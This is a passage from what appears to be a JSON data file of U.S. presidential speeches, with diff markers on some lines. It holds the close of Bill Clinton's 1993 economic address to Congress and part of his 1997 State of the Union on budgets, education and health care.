our\ninstitutions in Washington is not high. We must restore it. We must begin again\nto make Government work for ordinary taxpayers, not simply for organized\ninterest groups. And that beginning must start with real political reform. I am\nasking the United States Congress to pass a real campaign finance reform bill\nthis year. I ask you to increase the participation of the American people by\npassing the motor voter bill promptly. I ask you to deal with the undue\ninfluence of special interests by passing a bill to end the tax deduction for\nlobbying and to act quickly to require all the people who lobby you to register\nas lobbyists by passing the lobbying registration bill.Believe me, they were cheering that last section at home. I believe lobby reform\nand campaign finance reform are a sure path to increased popularity for\nRepublicans and Democrats alike because it says to the voters back home, \"This\nis your House. This is your Senate. We're your hired hands, and every penny we\ndraw is your money.\"Next, to revolutionize Government we have to ensure that we live within our\nmeans, and that should start at the top and with the White House. In the last\nfew days I have announced a cut in the White House staff of 25 percent, saving\napproximately $10 million. I have ordered administrative cuts in budgets of\nagencies and departments. I have cut the Federal bureaucracy, or will over the\nnext 4 years, by approximately 100,000 positions, for a combined savings of $9\nbillion. It is time for Government to demonstrate, in the condition we're in,\nthat we can be as frugal as any household in America.And that's why I also want to congratulate the Congress. I noticed the\nannouncement of the leadership today that Congress is taking similar steps to\ncut its costs. I think that is important. I think it will send a very clear\nsignal to the American people.But if we really want to cut spending, we're going to have to do more, and some\nof it will be difficult. Tonight I call for an across-the-board freeze in\nFederal Government salaries for one year. And thereafter, during this 4-year\nperiod, I recommend that salaries rise at one point lower than the cost of\nliving allowance normally involved in Federal pay increases.Next, I recommend that we make 150 specific budget cuts, as you know, and that\nall those who say we should cut more be as specific as I have been. Finally, let\nme say to my friends on both sides of the aisle, it is not enough simply to cut\nGovernment; we have to rethink the whole way it works. When I became President I\nwas amazed at just the way the White House worked, in ways that added lots of\nmoney to what taxpayers had to pay, outmoded ways that didn't take maximum\nadvantage of technology and didn't do things that any business would have done\nyears ago to save taxpayers' money.So I want to bring a new spirit of innovation into every Government Department.\nI want to push education reform, as I said, not just to spend more money but to\nreally improve learning. Some things work, and some things don't. We ought to be\nsubsidizing the things that work and discouraging the things that don't. I'd\nlike to use that Superfund to clean up pollution for a change and not just pay\nlawyers.In the aftermath of all the difficulties with the savings and loans, we must use\nFederal bank regulators to protect the security and safety of our financial\ninstitutions, but they should not be used to continue the credit crunch and to\nstop people from making sensible loans.I'd like for us to not only have welfare reform but to reexamine the whole focus\nof all of our programs that help people, to shift them from entitlement programs\nto empowerment programs. In the end we want people not to need us anymore. I\nthink that's important.But in the end we have to get back to the deficit. For years there's been a lot\nof talk about it but very few credible efforts to deal with it. And now I\nunderstand why, having dealt with the real numbers for 4 weeks. But I believe\nthis plan does; it tackles the budget deficit seriously and over the long term.\nIt puts in place one of the biggest deficit reductions and one of the biggest\nchanges in Federal priorities, from consumption to investment, in the history of\nthis country at the same time over the next 4 years.Let me say to all the people watching us tonight who will ask me these questions\nbeginning tomorrow as I go around the country and who've asked it in the past:\nWe're not cutting the deficit just because experts say it's the thing to do or\nbecause it has some intrinsic merit. We have to cut the deficit because the more\nwe spend paying off the debt, the less tax dollars we have to invest in jobs and\neducation and the future of this country. And the more money we take out of the\npool of available savings, the harder it is for people in the private sector to\nborrow money at affordable interest rates for a college loan for their children,\nfor a home mortgage, or to start a new business.That's why we've got to reduce the debt, because it is crowding out other\nactivities that we ought to be engaged in and that the American people ought to\nbe engaged in. We cut the deficit so that our children will be able to buy a\nhome, so that our companies can invest in the future and in retraining their\nworkers, so that our Government can make the kinds of investments we need to be\na stronger and smarter and safer nation.If we don't act now, you and I might not even recognize this Government 10 years\nfrom now. If we just stay with the same trends of the last 4 years, by the end\nof the decade the deficit will be $635 billion a year, almost 80 percent of our\ngross domestic product. And paying interest on that debt will be the costliest\nGovernment program of all. We'll still be the world's largest debtor. And when\nMembers of Congress come here, they'll be devoting over 20 cents on the dollar\nto interest payments, more than half of the budget to health care and to other\nentitlements. And you'll come here and deliberate and argue over 6 or 7 cents on\nthe dollar, no matter what America's problems are. We will not be able to have\nthe independence we need to chart the future that we must. And we'll be terribly\ndependent on foreign funds for a large portion of our investment.This budget plan, by contrast, will by 1997 cut $140 billion in that year alone\nfrom the deficit, a real spending cut, a real revenue increase, a real deficit\nreduction, using the independent numbers of the Congressional Budget Office.\n[Laughter] Well, you can laugh, my fellow Republicans, but I'll point out that\nthe Congressional Budget Office was normally more conservative in what was going\nto happen and closer to right than previous Presidents have been.I did this so that we could argue about priorities with the same set of numbers.\nI did this so that no one could say I was estimating my way out of this\ndifficulty. I did this because if we can agree together on the most prudent\nrevenues we're likely to get if the recovery stays and we do right things\neconomically, then it will turn out better for the American people than we say.\nIn the last 12 years, because there were differences over the revenue estimates,\nyou and I know that both parties were given greater elbow room for\nirresponsibility. This is tightening the rein on the Democrats as well as the\nRepublicans. Let's at least argue about the same set of numbers so the American\npeople will think we're shooting straight with them.As I said earlier, my recommendation makes more than 150 difficult reductions to\ncut the Federal spending by a total of $246 billion. We are eliminating programs\nthat are no longer needed, such as nuclear power research and development. We're\nslashing subsidies and canceling wasteful projects. But many of these programs\nwere justified in their time, and a lot of them are difficult for me to\nrecommend reductions in, some really tough ones for me personally. I recommend\nthat we reduce interest subsidies to the Rural Electric Administration. That's a\ndifficult thing for me to recommend. But I think that I cannot exempt the things\nthat exist in my State or in my experience, if I ask you to deal with things\nthat are difficult for you to deal with. We're going to have to have no sacred\ncows except the fundamental abiding interest of the American people.I have to say that we all know our Government has been just great at building\nprograms. The time has come to show the American people that we can limit them\ntoo; that we can not only start things, that we can actually stop things.About the defense budget, I raise a hope and a caution. As we restructure our\nmilitary forces to meet the new threats of the post-cold-war world, it is true\nthat we can responsibly reduce our defense budget. And we may all doubt what\nthat range of reductions is, but let me say that as long as I am President, I\nwill do everything I can to make sure that the men and women who serve under the\nAmerican flag will remain the best trained, the best prepared, the best equipped\nfighting force in the world. And every one of you should make that solemn\npledge. We still have responsibilities around the world. We are the world's only\nsuperpower. This is still a dangerous and uncertain time, and we owe it to the\npeople in uniform to make sure that we adequately provide for the national\ndefense and for their interests and needs. Backed by an effective national\ndefense and a stronger economy, our Nation will be prepared to lead a world\nchallenged as it is everywhere by ethnic conflict, by the proliferation of\nweapons of mass destruction, by the global democratic revolution, and by\nchallenges to the health of our global environment.I know this economic plan is ambitious, but I honestly believe it is necessary\nfor the continued greatness of the United States. And I think it is paid for\nfairly, first by cutting Government, then by asking the most of those who\nbenefited the most in the past, and by asking more Americans to contribute today\nso that all of us can prosper tomorrow.For the wealthiest, those earning more than $180,000 per year, I ask you all who\nare listening tonight to support a raise in the top rate for Federal income\ntaxes from 31 to 36 percent. We recommend a 10 percent surtax on incomes over\n$250,000 a year, and we recommend closing some loopholes that let some people\nget away without paying any tax at all.For businesses with taxable incomes in excess of $10 million, we recommend a\nraise in the corporate tax rate, also to 36 percent, as well as a cut in the\ndeduction for business entertainment expenses. Our plan seeks to attack tax\nsubsidies that actually reward companies more for shutting their operations down\nhere and moving them overseas than for staying here and reinvesting in America.\nI say that as someone who believes that American companies should be free to\ninvest around the world and as a former Governor who actively sought investment\nof foreign companies in my State. But the Tax Code should not express a\npreference to American companies for moving somewhere else, and it does in\nparticular cases today.We will seek to ensure that, through effective tax enforcement, foreign\ncorporations who do make money in America simply pay the same taxes that\nAmerican companies make on the same income.To middle class Americans who have paid a great deal for the last 12 years and\nfrom whom I ask a contribution tonight, I will say again as I did on Monday\nnight: You're not going alone any more, you're certainly not going first, and\nyou're not going to pay more for less as you have too often in the past. I want\nto emphasize the facts about this plan: 98.8 percent of America's families will\nhave no increase in their income tax rates, only 1.2 percent at the top.Let me be clear: There will also be no new cuts in benefits for Medicare. As we\nmove toward the 4th year, with the explosion in health care costs, as I said,\nprojected to account for 50 percent of the growth of the deficit between now and\nthe year 2000, there must be planned cuts in payments to providers, to doctors,\nto hospitals, to labs, as a way of controlling health care costs. But I see\nthese only as a stopgap until we can reform the entire health care system. If\nyou'll help me do that, we can be fair to the providers and to the consumers of\nhealth care. Let me repeat this, because I know it matters to a lot of you on\nboth sides of the aisle. This plan does not make a recommendation for new cuts\nin Medicare benefits for any beneficiary.Secondly, the only change we are making in Social Security is one that has\nalready been publicized. The plan does ask older Americans with higher incomes,\nwho do not rely solely on Social Security to get by, to contribute more. This\nplan will not affect the 80 percent of Social Security recipients who do not pay\ntaxes on Social Security now. Those who do not pay tax on Social Security now\nwill not be affected by this plan.Our plan does include a broad-based tax on energy, and I want to tell you why I\nselected this and why I think it's a good idea. I recommend that we adopt a Btu\ntax on the heat content of energy as the best way to provide us with revenue to\nlower the deficit because it also combats pollution, promotes energy efficiency,\npromotes the independence, economically, of this country as well as helping to\nreduce the debt, and because it does not discriminate against any area. Unlike a\ncarbon tax, that's not too hard on the coal States; unlike a gas tax, that's not\ntoo tough on people who drive a long way to work; unlike an ad valorem tax, it\ndoesn't increase just when the price of an energy source goes up. And it is\nenvironmentally responsible. It will help us in the future as well as in the\npresent with the deficit.Taken together, these measures will cost an American family with an income of\nabout $40,000 a year less than $17 a month. It will cost American families with\nincomes under $30,000 nothing because of other programs we propose, principally\nthose raising the earned-income tax credit.Because of our publicly stated determination to reduce the deficit, if we do\nthese things, we will see the continuation of what's happened just since the\nelection. Just since the election, since the Secretary of the Treasury, the\nDirector of the Office of Management and Budget, and others who have begun to\nspeak out publicly in favor of a tough deficit reduction plan, interest rates\nhave continued to fall long-term. That means that for the middle class who will\npay something more each month, if they had any credit needs or demands, their\nincreased energy costs will be more than offset by lower interest costs for\nmortgages, consumer loans, credit cards. This can be a wise investment for them\nand their country now.I would also point out what the American people already know, and that is,\nbecause we're a big, vast country where we drive long distances, we have\nmaintained far lower burdens on energy than any other advanced country. We will\nstill have far lower burdens on energy than any other advanced country. And\nthese will be spread fairly, with real attempts to make sure that no cost is\nimposed on families with incomes under $30,000 and that the costs are very\nmodest until you get into the higher income groups where the income taxes\ntrigger in.Now, I ask all of you to consider this: Whatever you think of the tax program,\nwhatever you think of the spending cuts, consider the cost of not changing.\nRemember the numbers that you all know. If we just keep on doing what we're\ndoing, by the end of the decade we'll have a $650-billion-a-year deficit. If we\njust keep on doing what we're doing, by the end of the decade 20 percent of our\nnational income will go to health care every year, twice as much as any other\ncountry on the face of the globe. If we just keep on doing what we're doing,\nover 20 cents on the dollar will have to go to service the debt.Unless we have the courage now to start building our future and stop borrowing\nfrom it, we're condemning ourselves to years of stagnation interrupted by\noccasional recessions, to slow growth in jobs, to no more growth in income, to\nmore debt, to more disappointment. Worse, unless we change, unless we increase\ninvestment and reduce the debt to raise productivity so that we can generate\nboth jobs and incomes, we will be condemning our children and our children's\nchildren to a lesser life than we enjoyed. Once Americans looked forward to\ndoubling their living standards every 25 years. At present productivity rates,\nit will take 100 years to double living standards, until our grandchildren's\ngrandchildren are born. I say that is too long to wait.Tonight the American people know we have to change. But they're also likely to\nask me tomorrow and all of you for the weeks and months ahead whether we have\nthe fortitude to make the changes happen in the right way. They know that as\nsoon as I leave this Chamber and you go home, various interest groups will be\nout in force lobbying against this or that piece of this plan, and that the\nforces of conventional wisdom will offer a thousand reasons why we well ought to\ndo this but we just can't do it.Our people will be watching and wondering, not to see whether you disagree with\nme on a particular issue but just to see whether this is going to be business as\nusual or a real new day, whether we're all going to conduct ourselves as if we\nknow we're working for them. We must scale the walls of the people's\nscepticisms, not with our words but with our deeds. After so many years of\ngridlock and indecision, after so many hopeful beginnings and so few promising\nresults, the American people are going to be harsh in their judgments of all of\nus if we fail to seize this moment.This economic plan can't please everybody. If the package is picked apart, there\nwill be something that will anger each of us, won't please anybody. But if it is\ntaken as a whole, it will help all of us. So I ask you all to begin by resisting\nthe temptation to focus only on a particular spending cut you don't like or some\nparticular investment that wasn't made. And nobody likes the tax increases, but\nlet's just face facts. For 20 years, through administrations of both parties,\nincomes have stalled and debt has exploded and productivity has not grown as it\nshould. We cannot deny the reality of our condition. We have got to play the\nhand we were dealt and play it as best we can.My fellow Americans, the test of this plan cannot be \"what is in it for me.\" It\nhas got to be \"what is in it for us.\" If we work hard and if we work together,\nif we rededicate ourselves to creating jobs, to rewarding work, to strengthening\nour families, to reinventing our Government, we can lift our country's fortunes\nagain.Tonight I ask everyone in this Chamber and every American to look simply into\nyour heart, to spark your own hopes, to fire your own imagination. There is so\nmuch good, so much possibility, so much excitement in this country now that if\nwe act boldly and honestly, as leaders should, our legacy will be one of\nprosperity and progress. This must be America's new direction. Let us summon the\ncourage to seize it.Thank you. God bless America.", 
+    "name": "William J. Clinton"
+}
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+{
+    "date": "February 4, 1997", 
+    "speech": "Mr. Speaker, Mr. Vice President, members of the 105th Congress,\ndistinguished guests, my fellow Americans:I think I should start by saying thanks for inviting me back.I come before you tonight with a challenge as great as any in our peacetime\nhistory--and a plan of action to meet that challenge, to prepare our\npeople for the bold new world of the 21st century.We have much to be thankful for. With four years of growth, we have won\nback the basic strength of our economy. With crime and welfare rolls\ndeclining, we are winning back our optimism, the enduring faith that we can\nmaster any difficulty. With the Cold War receding and global commerce at\nrecord levels, we are helping to win an unrivaled peace and prosperity all\nacross the world.My fellow Americans, the state of our union is strong, but now we must rise\nto the decisive moment, to make a nation and a world better than any we\nhave ever known.The new promise of the global economy, the Information Age, unimagined new\nwork, life-enhancing technology--all these are ours to seize. That is our\nhonor and our challenge. We must be shapers of events, not observers, for\nif we do not act, the moment will pass and we will lose the best\npossibilities of our future.We face no imminent threat, but we do have an enemy. The enemy of our time\nis inaction.So tonight I issue a call to action--action by this Congress, action by\nour states, by our people to prepare America for the 21st century; action\nto keep our economy and our democracy strong and working for all our\npeople; action to strengthen education and harness the forces of technology\nand science; action to build stronger families and stronger communities and\na safer environment; action to keep America the world's strongest force for\npeace, freedom and prosperity; and above all, action to build a more\nperfect union here at home.The spirit we bring to our work will make all the difference.We must be committed to the pursuit of opportunity for all Americans,\nresponsibility from all Americans in a community of all Americans. And we\nmust be committed to a new kind of government: not to solve all our\nproblems for us, but to give our people--all our people--the tools they\nneed to make the most of their own lives. And we must work together.The people of this nation elected us all. They want us to be partners, not\npartisans. They put us all right here in the same boat. They gave us all\noars, and they told us to row. Now, here is the direction I believe we\nshould take.First, we must move quickly to complete the unfinished business of our\ncountry: to balance the budget, renew our democracy, and finish the job of\nwelfare reform.Over the last four years we have brought new economic growth by investing\nin our people, expanding our exports, cutting our deficits, creating over\n11 million new jobs, a four-year record.Now we must keep our economy the strongest in the world. We here tonight\nhave an historic opportunity. Let this Congress be the Congress that\nfinally balances the budget. Thank you.In two days I will propose a detailed plan to balance the budget by 2002.\nThis plan will balance the budget and invest in our people while protecting\nMedicare, Medicaid, education and the environment. It will balance the\nbudget and build on the vice president's efforts to make our government\nwork better--even as it costs less.It will balance the budget and provide middle-class tax relief to pay for\neducation and health care, to help to raise a child, to buy and sell a\nhome.Balancing the budget requires only your vote and my signature. It does not\nrequire us to rewrite our Constitution. I believe, I believe it is both\nunnecessary, unwise to adopt a balanced budget amendment that could cripple\nour country in time of economic crisis and force unwanted results such as\njudges halting Social Security checks or increasing taxes.Let us at least agree we should not pass any measure, no measure should be\npassed that threatens Social Security. We don't need, whatever your view on\nthat, we all must concede we don't need a constitutional amendment, we need\naction. Whatever our differences, we should balance the budget now, and\nthen, for the long-term health of our society, we must agree to a\nbipartisan process to preserve Social Security and reform Medicare for the\nlong run, so that these fundamental programs will be as strong for our\nchildren as they are for our parents.And let me say something that's not in my script tonight. I know this is\nnot going to be easy. But I really believe one of the reasons the American\npeople gave me a second term was to take the tough decisions in the next\nfour years that will carry our country through the next 50 years. I know it\nis easier for me than for you to say or do. But another reason I was\nelected is to support all of you, without regard to party, to give you what\nis necessary to join in these decisions. We owe it to our country and to\nour future.Our second piece of unfinished business requires us to commit ourselves\ntonight, before the eyes of America, to finally enacting bipartisan\ncampaign finance reform.Now, Senators McCain and Feingold, Representatives Shays and Meehan have\nreached across party lines here to craft tough and fair reform. Their\nproposal would curb spending, reduce the role of special interests, create\na level playing field between challengers and incumbents, and ban\ncontributions from non-citizens, all corporate sources, and the other large\nsoft-money contributions that both parties receive.You know and I know that this can be delayed, and you know and I know that\ndelay will mean the death of reform.So let's set our own deadline. Let's work together to write bipartisan\ncampaign finance reform into law and pass McCain-Feingold by the day we\ncelebrate the birth of our democracy, July the 4th.There is a third piece of unfinished business. Over the last four years we\nmoved a record two and a quarter million people off the welfare roles. Then\nlast year Congress enacted landmark welfare reform legislation demanding\nthat all able-bodied recipients assume the responsibility of moving from\nwelfare to work. Now each and every one of us has to fulfill our\nresponsibility, indeed our moral obligation, to make sure that people who\nnow must work can work. And now we must act to meet a new goal: two million\nmore people off the welfare rolls by the year 2000.Here is my plan: Tax credits and other incentives for businesses that hire\npeople off welfare; Incentives for job placement firms in states to create\nmore jobs for welfare recipients; Training, transportation and child care\nto help people go to work. Now I challenge every state--turn those welfare\nchecks into private sector paychecks. I challenge every religious\ncongregation, every community nonprofit, every business to hire someone off\nwelfare. And I'd like to say especially to every employer in our country\nwho ever criticized the old welfare system, you can't blame that old system\nanymore; we have torn it down. Now, do your part. Give someone on welfare\nthe chance to go to work.Tonight I am pleased to announce that five major corporations--Sprint,\nMonsanto, UPS, Burger King and United Airlines--will be the first to join\nin a new national effort to marshal America's businesses large and small to\ncreate jobs so that people can move from welfare to work.We passed welfare reform. All of you know I believe we were right to do it.\nBut no one can walk out of this chamber with a clear conscience unless you\nare prepared to finish the job.And we must join together to do something else, too, something both\nRepublican and Democratic governors have asked us to do: to restore basic\nhealth and disability benefits when misfortune strikes immigrants who came\nto this country legally, who work hard, pay taxes, and obey the law. To do\notherwise is simply unworthy of a great nation of immigrants.Now, looking ahead, the greatest step of all, the high threshold to the\nfuture we must now cross, and my number one priority for the next four\nyears, is to ensure that all Americans have the best education in the\nworld. Thank you.Let's work together to meet these three goals: every eight-year-old must be\nable to read, every 12-year-old must be able to log on to the Internet,\nevery 18-year-old must be able to go to college, and every adult American\nmust be able to keep on learning for a lifetime.My balanced budget makes an unprecedented commitment to these goals--$51\nbillion next year--but far more than money is required. I have a plan, a\ncall to action for American education based on these 10 principles:First, a national crusade for education standards--not federal government\nstandards, but national standards, representing what all our students must\nknow to succeed in the knowledge economy of the 21st century. Every state\nand school must shape the curriculum to reflect these standards and train\nteachers to lift students up to them. To help schools meet the standards\nand measure their progress, we will lead an effort over the next two years\nto develop national tests of student achievement in reading and math.Tonight I issue a challenge to the nation. Every state should adopt high\nnational standards, and by 1999, every state should test every 4th grader\nin reading and every 8th grader in math to make sure these standards are\nmet.Raising standards will not be easy, and some of our children will not be\nable to meet them at first. The point is not to put our children down, but\nto lift them up. Good tests will show us who needs help, what changes in\nteaching to make, and which schools need to improve. They can help us end\nsocial promotion, for no child should move from grade school to junior high\nor junior high to high school until he or she is ready.Last month our secretary of education, Dick Riley, and I visited northern\nIllinois, where 8th grade students from 20 school districts, in a project\naptly called First in the World, took the third International Math and\nScience Study.That's a test that reflects the world-class standards our children must\nmeet for the new era. And those students in Illinois tied for first in the\nworld in science and came in second in math. Two of them, Kristen Tanner\nand Chris Getsla, are here tonight along with their teacher, Sue Winski.\nThey're up there with the first lady, and they prove that when we aim high\nand challenge our students, they will be the best in the world. Let's give\nthem a hand. Stand up, please.Second, to have the best schools, we must have the best teachers. Most of\nus in this chamber would not be here tonight without the help of those\nteachers. I know that I wouldn't be here.For years many of our educators, led by North Carolina's governor, Jim\nHunt, and the National Board for Professional Teaching Standards, have\nworked very hard to establish nationally accepted credentials for\nexcellence in teaching.Just 500 of these teachers have been certified since 1995. My budget will\nenable 100,000 more to seek national certification as master teachers. We\nshould reward and recognize our best teachers. And as we reward them, we\nshould quickly and fairly remove those few who don't measure up, and we\nshould challenge more of our finest young people to consider teaching as a\ncareer.Third, we must do more to help all our children read. Forty percent--40\npercent--of our 8-year-olds cannot read on their own. That's why we have\njust launched the America Reads initiative, to build a citizen army of one\nmillion volunteer tutors to make sure every child can read independently by\nthe end of the 3rd grade. We will use thousands of AmeriCorps volunteers to\nmobilize this citizen army. We want at least 100,000 college students to\nhelp.And tonight I'm pleased that 60 college presidents have answered my call,\npledging that thousands of their work-study students will serve for one\nyear as reading tutors.This is also a challenge to every teacher and every principal.You must use these tutors to help your students read. And it is especially\na challenge to our parents. You must read with your children every night.This leads to the fourth principle: Learning begins in the first days of\nlife. Scientists are now discovering how young children develop emotionally\nand intellectually from their very first days and how important it is for\nparents to begin immediately talking, singing, even reading to their\ninfants. The first lady has spent years writing about this issue, studying\nit. And she and I are going to convene a White House conference on early\nlearning and the brain this spring to explore how parents and educators can\nbest use these startling new findings.We already know we should start teaching children before they start school.\nThat's why this balanced budget expands Head Start to one million children\nby 2002. And that is why the vice president and Mrs. Gore will host their\nannual family conference this June on what we can do to make sure that\nparents are an active part of their children's learning all the way through\nschool.They've done a great deal to highlight the importance of family in our\nlife, and now they're turning their attention to getting more parents\ninvolved in their children's learning all the way through school. I thank\nyou, Mr. Vice President, and I thank you especially, Tipper, for what\nyou're doing.Fifth, every state should give parents the power to choose the right public\nschool for their children. Their right to choose will foster competition\nand innovation that can make public schools better. We should also make it\npossible for more parents and teachers to start charter schools, schools\nthat set and meet the highest standards and exist only as long as they do.Our plan will help America to create 3,000 of these charter schools by the\nnext century, nearly seven times as there are in the country today, so that\nparents will have even more choices in sending their children to the best\nschools.Sixth, character education must be taught in our schools. We must teach our\nchildren to be good citizens. And we must continue to promote order and\ndiscipline; supporting communities that introduce school uniforms, impose\ncurfews, enforce truancy laws, remove disruptive students from the\nclassroom, and have zero tolerance for guns and drugs in schools.Seventh, we cannot expect our children to raise themselves up in schools\nthat are literally falling down. With the student population at an all-time\nhigh, and record numbers of school buildings falling into disrepair, this\nhas now become a serious national concern. Therefore, my budget includes a\nnew initiative: $5 billion to help communities finance $20 billion in\nschool construction over the next four years.Eighth, we must make the 13th and 14th years of education--at least two\nyears of college--just as universal in America by the 21st century as a\nhigh school education is today, and we must open the doors of college to\nall Americans.To do that, I propose America's Hope Scholarship, based on Georgia's\npioneering program--two years of a $1,500 tax credit for college tuition,\nenough to pay for the typical community college. I also propose a tax\ndeduction of up to $10,000 a year for all tuition after high school, an\nexpanded IRA you can withdraw from tax free for education, and the largest\nincrease in Pell Grant scholarship in 20 years.Now this plan will give most families the ability to pay no taxes on money\nthey save for college tuition. I ask you to pass it and give every American\nwho works hard the chance to go to college.Ninth, in the 21st century we must expand the frontiers of learning across\na lifetime. All our people, of whatever age, must have the chance to learn\nnew skills.Most Americans live near a community college. The roads that take them\nthere can be paths to a better future. My GI bill for America's workers\nwill transform the confusing tangle of federal training programs into a\nsimple skill grant to go directly into eligible workers' hands.For too long this bill has been sitting on that desk there, without action.\nI ask you to pass it now. Let's give more of our workers the ability to\nlearn and to earn for a lifetime.Tenth, we must bring the power of the Information Age into all our\nschools.Last year I challenged America to connect every classroom and library to\nthe Internet by the year 2000, so that for the first time in our history,\nchildren in the most isolated rural town, the most comfortable suburbs, the\npoorest inner-city schools will have the same access to the same universe\nof knowledge.That is my plan--a call to action for American education. Some may say\nthat it is unusual for a president to pay this kind of attention to\neducation. Some may say it is simply because the president and his\nwonderful wife have been obsessed with this subject for more years than\nthey can recall. That is not what is driving these proposals. We must\nunderstand the significance of this endeavor.One of the greatest sources of our strength throughout the Cold War was a\nbipartisan foreign policy. Because our future was at stake, politics\nstopped at the water's edge. Now I ask you, and I ask all our nation's\ngovernors, I ask parents, teachers and citizens all across America, for a\nnew nonpartisan commitment to education, because education is a critical\nnational security issue for our future and politics must stop at the\nschoolhouse door.To prepare America for the 21st century, we must harness the powerful\nforces of science and technology to benefit all Americans. This is the\nfirst State of the Union carried live in video over the Internet, but we've\nonly begun to spread the benefits of a technology revolution that should\nbecome the modern birthright of every citizen.Our effort to connect every classroom is just the beginning. Now we should\nconnect every hospital to the Internet so that doctors can instantly share\ndata about their patients with the best specialists in the field.And I challenge the private sector tonight to start by connecting every\nchildren's hospital as soon as possible so that a child in bed can stay in\ntouch with school, family and friends. A sick child need no longer be a\nchild alone.We must build the second generation of the Internet so that our leading\nuniversities and national laboratories can communicate in speeds a thousand\ntimes faster than today to develop new medical treatments, new sources of\nenergy, new ways of working together. But we cannot stop there.As the Internet becomes our new town square, a computer in every home: a\nteacher of all subjects, a connection to all cultures. This will no longer\nbe a dream, but a necessity. And over the next decade, that must be our\ngoal.We must continue to explore the heavens, pressing on with the Mars probes\nand the International Space Station, both of which will have practical\napplications for our everyday living.We must speed the remarkable advances in medical science. The human genome\nproject is now decoding the genetic mysteries of life. American scientists\nhave discovered genes linked to breast cancer and ovarian cancer and\nmedication that stops a stroke in progress and begins to reverse its\neffects, and treatments that dramatically lengthen the lives of people with\nHIV and AIDS.Since I took office, funding for AIDS research at the National Institutes\nof Health has increased dramatically to $1.5 billion. With new resources,\nNIH will now become the most powerful discovery engine for an AIDS vaccine,\nworking with other scientists, to finally end the threat of AIDS. Thank\nyou. Remember that every year, every year we move up the discovery of an\nAIDS vaccine we'll save millions of lives around the world. We must\nreinforce our commitment to medical science.To prepare America for the 21st century we must build stronger families.\nOver the past four years the Family and Medical Leave Law has helped\nmillions of Americans to take time off to be with their families.With new pressures on people and the way they work and live, I believe we\nmust expand family leave so that workers can take time off for teacher\nconferences and a child's medical checkup. We should pass flex time so\nworkers can choose to be paid for overtime in income or trade it in for\ntime off to be with their families.We must continue--we must continue, step by step, to give more families\naccess to affordable quality health care. Forty million Americans still\nlack health insurance. Ten million children still lack health insurance.\nEighty percent of them have working parents who pay taxes. That is wrong.My--my balanced budget will extend health coverage to up to 5 million of\nthose children. Since nearly half of all children who lose their insurance\ndo so because their parents lose or change a job, my budget will also\nensure that people who temporarily lose their jobs can still afford to keep\ntheir health insurance. No child should be without a doctor just because a\nparent is without a job.My Medicare plan modernizes Medicare, increases the life of the trust fund\nto 10 years, provides support for respite care for the many families with\nloved ones afflicted with Alzheimer's, and, for the first time, it would\nfully pay for annual mammograms.Just as we ended drive-through deliveries of babies last year, we must now\nend the dangerous and demeaning practice of forcing women home from the\nhospital only hours after a mastectomy.I ask your support for bipartisan legislation to guarantee that a woman can\nstay in the hospital for 48 hours after a mastectomy. With us tonight is\nDr. Kristen Zarfos, a Connecticut surgeon whose outrage at this practice\nspurred a national movement and inspired this legislation. I'd like her to\nstand so we can thank her for her efforts. Dr. Zarfos, thank you.In the last four years, we have increased child support collections by 50\npercent. Now we should go further and do better by making it a felony for\nany parent to cross a state line in an attempt to flee from this, his or\nher most sacred obligation.Finally, we must also protect our children by standing firm in our\ndetermination to ban the advertising and marketing of cigarettes that\nendanger their lives.To prepare America for the 21st century, we must build stronger\ncommunities. We should start with safe streets. Serious crime has dropped\nfive years in a row. The key has been community policing. We must finish\nthe job of putting 100,000 community police on the streets of the United\nStates.We should pass the Victims' Rights Amendment to the Constitution, and I ask\nyou to mount a full-scale assault on juvenile crime, with legislation that\ndeclares war on gangs with new prosecutors and tougher penalties, extends\nthe Brady bill so violent teen criminals will not be able to buy handguns,\nrequires child safety locks on handguns to prevent unauthorized use, and\nhelps to keep our schools open after hours, on weekends and in the summer\nso our young people will have someplace to go and something to say yes to.This balanced budget includes the largest anti-drug effort ever--to stop\ndrugs at their source; punish those who push them; and teach our young\npeople that drugs are wrong, drugs are illegal, and drugs will kill them. I\nhope you will support it.Our growing economy has helped to revive poor urban and rural\nneighborhoods, but we must do more to empower them to create the conditions\nin which all families can flourish and to create jobs through investment by\nbusiness and loans by banks.We should double the number of empowerment zones. They've already brought\nso much hope to communities like Detroit, where the unemployment rate has\nbeen cut in half in four years. We should restore contaminated urban land\nand buildings to constructive use. We should expand the network of\ncommunity development banks.And together, we must pledge tonight that we will use this empowerment\napproach, including private sector tax incentives, to renew our capital\ncity so that Washington is a great place to work and live--and once again\nthe proud face America shows the world!We must protect our environment in every community. In the last four years,\nwe cleaned up 250 toxic waste sites, as many as in the previous 12. Now we\nshould clean up 500 more so that our children grow up next to parks, not\npoison. I urge to pass my proposal to make big polluters live by a simple\nrule: If you pollute our environment, you should pay to clean it up.In the last four years, we strengthened our nation's safe food and clean\ndrinking water laws; we protected some of America's rarest, most beautiful\nland in Utah's Red Rocks region; created three new national parks in the\nCalifornia desert; and began to restore the Florida Everglades.Now we must be as vigilant with our rivers as we are with our lands.\nTonight I announce that this year I will designate 10 American Heritage\nRivers to help communities alongside them revitalize their waterfronts and\nclean up pollution in the rivers, proving once again that we can grow the\neconomy as we protect the environment.We must also protect our global environment, working to ban the worst toxic\nchemicals and to reduce the greenhouse gases that challenge our health even\nas they change our climate.Now, we all know that in all of our communities some of our children simply\ndon't have what they need to grow and learn in their own homes or schools\nor neighborhoods. And that means the rest of us must do more, for they are\nour children, too. That's why President Bush, General Colin Powell, former\nHousing Secretary Henry Cisneros will join the vice president and me to\nlead the President's Summit of Service in Philadelphia in April.Our national service program, AmeriCorps, has already helped 70,000 young\npeople to work their way through college as they serve America. Now we\nintend to mobilize millions of Americans to serve in thousands of ways.\nCitizen service is an American responsibility which all Americans should\nembrace. And I ask your support for that endeavor.I'd like to make just one last point about our national community. Our\neconomy is measured in numbers and statistics. And it's very important. But\nthe enduring worth of our nation lies in our shared values and our soaring\nspirit. So instead of cutting back on our modest efforts to support the\narts and humanities I believe we should stand by them and challenge our\nartists, musicians, and writers, challenge our museums, libraries, and\ntheaters.We should challenge all Americans in the arts and humanities to join with\ntheir fellow citizens to make the year 2000 a national celebration of the\nAmerican spirit in every community, a celebration of our common culture in\nthe century that is past and in the new one to come in a new millennium so\nthat we can remain the world's beacon not only of liberty but of creativity\nlong after the fireworks have faded.To prepare America for the 21st century we must master the forces of change\nin the world and keep American leadership strong and sure for an uncharted\ntime.Fifty years ago, a farsighted America led in creating the institutions that\nsecured victory in the Cold War and built a growing world economy. As a\nresult, today more people than ever embrace our ideals and share our\ninterests. Already we have dismantled many of the blocks and barriers that\ndivided our parents' world. For the first time, more people live 